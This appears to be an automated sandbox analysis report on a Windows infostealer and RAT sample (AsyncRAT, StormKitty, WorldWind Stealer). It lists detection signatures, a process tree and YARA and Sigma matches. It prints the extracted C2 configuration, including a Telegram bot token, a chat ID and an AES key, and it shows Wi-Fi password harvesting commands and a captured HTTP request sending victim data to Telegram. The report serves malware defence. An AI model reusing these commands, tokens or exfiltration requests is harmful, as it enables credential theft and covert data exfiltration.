Edit tour

Windows Analysis Report
viVOqZjAT0.exe

Overview

General Information

Sample name:	viVOqZjAT0.exe renamed because original name is a hash value
Original sample name:	19f436930646f3e8f283fa71f2a4cbcb.exe
Analysis ID:	1485116
MD5:	19f436930646f3e8f283fa71f2a4cbcb
SHA1:	99397666d23ddde6078496ee73bde00ae9403393
SHA256:	40e64ea2d9253f93606f6f62966f05e2bb300e03e82ecd54c5dcba5640df0dff
Tags:	32exe
Infos:

Detection

AsyncRAT, StormKitty, WorldWind Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected AsyncRAT

Yara detected StormKitty Stealer

Yara detected Telegram RAT

Yara detected Telegram Recon

Yara detected WorldWind Stealer

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Contains functionality to capture screen (.Net source)

Contains functionality to log keystrokes (.Net Source)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses netsh to modify the Windows network and firewall settings

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious desktop.ini Action

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

viVOqZjAT0.exe (PID: 7132 cmdline: "C:\Users\user\Desktop\viVOqZjAT0.exe" MD5: 19F436930646F3E8F283FA71F2A4CBCB)

cmd.exe (PID: 6984 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7156 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

netsh.exe (PID: 6580 cmdline: netsh wlan show profile MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

findstr.exe (PID: 6884 cmdline: findstr All MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6408 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6200 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

netsh.exe (PID: 3632 cmdline: netsh wlan show networks mode=bssid MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage"}

Threatname: AsyncRAT

{"Server": "127.0.0.1", "Ports": "6606,7707,8808", "Telegram C2": "https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469", "Version": "", "AES_key": "VIfxfqryUTyZUBGDCBAvbYVYIsexIM7Z", "Mutex": "AsyncMutex_6SI8OkPnk", "Certificate": "MIIE9jCCAt6gAwIBAgIQAKQXqY8ZdB/modqi69mWGTANBgkqhkiG9w0BAQ0FADAcMRowGAYDVQQDDBFXb3JsZFdpbmQgU3RlYWxlcjAgFw0yMTA3MTMwNDUxMDZaGA85OTk5MTIzMTIzNTk1OVowHDEaMBgGA1UEAwwRV29ybGRXaW5kIFN0ZWFsZXIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnRXYoxuLqqgXdcvIAYWb9DuVRl5ZpdpPfoIgmb7Y9A9AuiddKNm4is8EvIlEh98bQD4OBaK0EGWuj7WuAcQPCCGuzHpDqFZbXR7iRqVn6TiLRsO0LCMB4ta4XLQ4JdTFXvnQHcGiUxHddH70T/2P2bBVY0W+PVJDzG3XUWHpYb4PVv7qaQr/DalR3qyyd5otzE1kIjJLCOCyI/9ntIcD/PbMTKVnCP4fzbnkNB+xy0PmQmx3WRWEF5q72TdgaKrCbOpR2C/+rfGIoPC6Ze6dqWO3bQLGt6jpCO8A4CtAaAYmiw1vHUOfP54BgI9ls1TjYO3Rn4R1jmhWBGV2pT5chrglgSxMzPhrxFTQljG78RlPCJmyagJbtnPL3AlV34sQggcbf+80FVeyechm/xrMTSWXrJQ+xek1HRJBDFoCJyUR7SuIUelOW24TU+rwl/2dcALLZXpjYu3/zvJjH4iaJXRCt7oWhfzIFG1bHBFr78kV9VP0H+ZNVb129eUr14F/uubAoIPAz2EHG/CXBZv9GkFuzw0NgsI1eP7AznCLdT+z91M+yB7vWtvclwQ5k6MxWDPOraG5JMjUHvKI6zvyZ4IQ2a7bUENDghxLAqIxgo7zfZMdrjbRxBlqW14oki6Um7GpGKEZ0s2Ip6K2yJHBLpbVxOYjyzrxohMguh+qvgQIDAQABozIwMDAdBgNVHQ4EFgQUmTejTtK6on20N0YJez5sAZdMe/kwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAhauA0si7sHBd06DSGJgP5vJxL2daW30wR5XbAJd0HWj3QWfl7w27iyZ5AqBT4B0ojLNuMUG8mUOvpcoq0m80qUX7TIKUULKvb+i7uGGEDxk3W5F3es/CTUUWO0QlseWx9QEYziGlp6f3tkP4PTGSL0DywVRSa8l6f/B5kqwnW17CbQfJZ8vmy5snpDO/avgYssUnQtKQPhos7GbokNHps/bxEIRfLeprzQox20dw4RV59LcorjP5QV7Vc6FuYmhzC0nfRetTHckyxg66O3ekfTVs87MLiDV0ipQ+D/6k3g6DRuTdd4V2khjtI56ujSqTQ2PueNQXPu8y2fdsT2Rd1LcfxMS1xKAhSwhHfyy0I3JwzPG1D+sm3QNJEOoJviSNn5fYOFpY+mSEkFNMMeEbwOFdHxWbkiJk/Z8VwdH5I52tkHU3sRQMuZHtcKUc/SIt5Ivv6gtuEZQdm1GE6KUdiRB95s8JVGNlCcHX5bXbScu4eKCRQn3Cl+m5KR4EzI6hVP/iDRhVKj7Dn/blOHLzhNS5vW4X085dTP+1TBL8CHpQpiA3t8LfqfV1b/+WahOd3jNBNTXXfe/AQSjErgctLMdmOBpUQaJLOlcDcKGxWQdOo102nxg8Y/kFDARccywugoQxuIZpMYq74tjnJlJZ9kqR/LPrjmvx4v+0XFsaCPE=", "ServerSignature": "J7XpD4w+JaFzTixc0nCmiRA4ZP4bPCIpEYYGofNxvC1+0OsFQr56oTWwQMosnOTB64TZRGSdXVHKzjVchQf7X5Uwu/KQU61NPArjxWVScwKZXOGS4ZNzsWbrxgztkmlyRlQgvEq4rdFsqy1bfvHEoQ/s9aDXBNoLPPjJOexTRQSGuZYMpGSUD+ZUiVwPqqFWTb8KcjEMyABMeXGKfia2e9u8ePKpWv4HSiOfl6N47tTtIfN2FW/2mCX7BOnIZwCl3UxaQnITN812tHD1enX9TK86R91F02c0wabnf4oC07S3cqiXYo1yZ5y3dDnnERLagBuX1bemwzX/7DjHkfOaIPLgAAO8vGHbQX3pPqmwC88sG1+FExp3FEKMITnQTqQr5uXa5GjggFUSFr9rt2nfcjEjHRnOzX1jpsUUtuDyqoAFhdosdv46x+o5Iod34II88nouxzyzAfMSa48ozukJ3fCknI6u9fj/it1dx0GimhXUv4YG4A19n3EdvJbaxZXImHZvqiYGsHTIUtxa89QhxCpuJPKdTP7ya5rJFkDT0Z8ijH4Z1Dv42umyEN6PT99JRuJHcXSqkXfOeOilnM6YRY019FHq6udNVWn5OQetK4ULVcQmwPTV26ZRPyrqO57Rjr5LeSauZtNKTE/kmS1iR3eMtq5PsAHunrHZPzzaUhY=", "Group": "Default"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
viVOqZjAT0.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
viVOqZjAT0.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
viVOqZjAT0.exe	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
viVOqZjAT0.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
viVOqZjAT0.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
viVOqZjAT0.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
viVOqZjAT0.exe	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
viVOqZjAT0.exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
viVOqZjAT0.exe	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN
viVOqZjAT0.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2622b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
viVOqZjAT0.exe	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.*?)"
Click to see the 6 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x28ee2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25463:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.4107117629.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x34548:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: viVOqZjAT0.exe PID: 7132	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
Process Memory Space: viVOqZjAT0.exe PID: 7132	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: viVOqZjAT0.exe PID: 7132	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: viVOqZjAT0.exe PID: 7132	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: viVOqZjAT0.exe PID: 7132	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: viVOqZjAT0.exe PID: 7132	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x3f352:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: viVOqZjAT0.exe PID: 7132	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x3de70:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x72a87:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.viVOqZjAT0.exe.790000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.0.viVOqZjAT0.exe.790000.0.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0.0.viVOqZjAT0.exe.790000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.viVOqZjAT0.exe.790000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.viVOqZjAT0.exe.790000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.0.viVOqZjAT0.exe.790000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
0.0.viVOqZjAT0.exe.790000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.0.viVOqZjAT0.exe.790000.0.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN
0.0.viVOqZjAT0.exe.790000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2622b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.0.viVOqZjAT0.exe.790000.0.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.*?)"
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious desktop.ini Action

Source: File created

Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO): Data: EventID: 11, Image: C:\Users\user\Desktop\viVOqZjAT0.exe, ProcessId: 7132, TargetFilename: C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\viVOqZjAT0.exe", ParentImage: C:\Users\user\Desktop\viVOqZjAT0.exe, ParentProcessId: 7132, ParentProcessName: viVOqZjAT0.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 6984, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET MALWARE WorldWind Stealer Checkin via Telegram (GET) - Source IP: 192.168.2.4 - Destination IP: 149.154.167.220

Timestamp:	2024-07-31T07:07:14.930856+0200
SID:	2044766
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 149.154.167.220

Timestamp:	2024-07-31T07:07:15.838102+0200
SID:	2803305
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: viVOqZjAT0.exe	Malware Configuration Extractor: AsyncRAT {"Server": "127.0.0.1", "Ports": "6606,7707,8808", "Telegram C2": "https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469", "Version": "", "AES_key": "VIfxfqryUTyZUBGDCBAvbYVYIsexIM7Z", "Mutex": "AsyncMutex_6SI8OkPnk", "Certificate": "MIIE9jCCAt6gAwIBAgIQAKQXqY8ZdB/modqi69mWGTANBgkqhkiG9w0BAQ0FADAcMRowGAYDVQQDDBFXb3JsZFdpbmQgU3RlYWxlcjAgFw0yMTA3MTMwNDUxMDZaGA85OTk5MTIzMTIzNTk1OVowHDEaMBgGA1UEAwwRV29ybGRXaW5kIFN0ZWFsZXIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnRXYoxuLqqgXdcvIAYWb9DuVRl5ZpdpPfoIgmb7Y9A9AuiddKNm4is8EvIlEh98bQD4OBaK0EGWuj7WuAcQPCCGuzHpDqFZbXR7iRqVn6TiLRsO0LCMB4ta4XLQ4JdTFXvnQHcGiUxHddH70T/2P2bBVY0W+PVJDzG3XUWHpYb4PVv7qaQr/DalR3qyyd5otzE1kIjJLCOCyI/9ntIcD/PbMTKVnCP4fzbnkNB+xy0PmQmx3WRWEF5q72TdgaKrCbOpR2C/+rfGIoPC6Ze6dqWO3bQLGt6jpCO8A4CtAaAYmiw1vHUOfP54BgI9ls1TjYO3Rn4R1jmhWBGV2pT5chrglgSxMzPhrxFTQljG78RlPCJmyagJbtnPL3AlV34sQggcbf+80FVeyechm/xrMTSWXrJQ+xek1HRJBDFoCJyUR7SuIUelOW24TU+rwl/2dcALLZXpjYu3/zvJjH4iaJXRCt7oWhfzIFG1bHBFr78kV9VP0H+ZNVb129eUr14F/uubAoIPAz2EHG/CXBZv9GkFuzw0NgsI1eP7AznCLdT+z91M+yB7vWtvclwQ5k6MxWDPOraG5JMjUHvKI6zvyZ4IQ2a7bUENDghxLAqIxgo7zfZMdrjbRxBlqW14oki6Um7GpGKEZ0s2Ip6K2yJHBLpbVxOYjyzrxohMguh+qvgQIDAQABozIwMDAdBgNVHQ4EFgQUmTejTtK6on20N0YJez5sAZdMe/kwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAhauA0si7sHBd06DSGJgP5vJxL2daW30wR5XbAJd0HWj3QWfl7w27iyZ5AqBT4B0ojLNuMUG8mUOvpcoq0m80qUX7TIKUULKvb+i7uGGEDxk3W5F3es/CTUUWO0QlseWx9QEYziGlp6f3tkP4PTGSL0DywVRSa8l6f/B5kqwnW17CbQfJZ8vmy5snpDO/avgYssUnQtKQPhos7GbokNHps/bxEIRfLeprzQox20dw4RV59LcorjP5QV7Vc6FuYmhzC0nfRetTHckyxg66O3ekfTVs87MLiDV0ipQ+D/6k3g6DRuTdd4V2khjtI56ujSqTQ2PueNQXPu8y2fdsT2Rd1LcfxMS1xKAhSwhHfyy0I3JwzPG1D+sm3QNJEOoJviSNn5fYOFpY+mSEkFNMMeEbwOFdHxWbkiJk/Z8VwdH5I52tkHU3sRQMuZHtcKUc/SIt5Ivv6gtuEZQdm1GE6KUdiRB95s8JVGNlCcHX5bXbScu4eKCRQn3Cl+m5KR4EzI6hVP/iDRhVKj7Dn/blOHLzhNS5vW4X085dTP+1TBL8CHpQpiA3t8LfqfV1b/+WahOd3jNBNTXXfe/AQSjErgctLMdmOBpUQaJLOlcDcKGxWQdOo102nxg8Y/kFDARccywugoQxuIZpMYq74tjnJlJZ9kqR/LPrjmvx4v+0XFsaCPE=", "ServerSignature": "J7XpD4w+JaFzTixc0nCmiRA4ZP4bPCIpEYYGofNxvC1+0OsFQr56oTWwQMosnOTB64TZRGSdXVHKzjVchQf7X5Uwu/KQU61NPArjxWVScwKZXOGS4ZNzsWbrxgztkmlyRlQgvEq4rdFsqy1bfvHEoQ/s9aDXBNoLPPjJOexTRQSGuZYMpGSUD+ZUiVwPqqFWTb8KcjEMyABMeXGKfia2e9u8ePKpWv4HSiOfl6N47tTtIfN2FW/2mCX7BOnIZwCl3UxaQnITN812tHD1enX9TK86R91F02c0wabnf4oC07S3cqiXYo1yZ5y3dDnnERLagBuX1bemwzX/7DjHkfOaIPLgAAO8vGHbQX3pPqmwC88sG1+FExp3FEKMITnQTqQr5uXa5GjggFUSFr9rt2nfcjEjHRnOzX1jpsUUtuDyqoAFhdosdv46x+o5Iod34II88nouxzyzAfMSa48ozukJ3fCknI6u9fj/it1dx0GimhXUv4YG4A19n3EdvJbaxZXImHZvqiYGsHTIUtxa89QhxCpuJPKdTP7ya5rJFkDT0Z8ijH4Z1Dv42umyEN6PT99JRuJHcXSqkXfOeOilnM6YRY019FHq6udNVWn5OQetK4ULVcQmwPTV26ZRPyrqO57Rjr5LeSauZtNKTE/kmS1iR3eMtq5PsAHunrHZPzzaUhY=", "Group": "Default"}
Source: viVOqZjAT0.exe.7132.0.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage"}

Multi AV Scanner detection for domain / URL

Source: https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13

Virustotal: Detection: 8%

Perma Link

Multi AV Scanner detection for submitted file

Source: viVOqZjAT0.exe	ReversingLabs: Detection: 84%
Source: viVOqZjAT0.exe	Virustotal: Detection: 74%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: viVOqZjAT0.exe

Joe Sandbox ML: detected

Source: viVOqZjAT0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49735 version: TLS 1.2

Source: viVOqZjAT0.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: viVOqZjAT0.exe, type: SAMPLE
Source: Yara match	File source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202024-07-31%201:07:02%20am%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20899552%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20CT_BZ8R%0ARAM:%204095MB%0AHWID:%2049CC9AD8BB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%2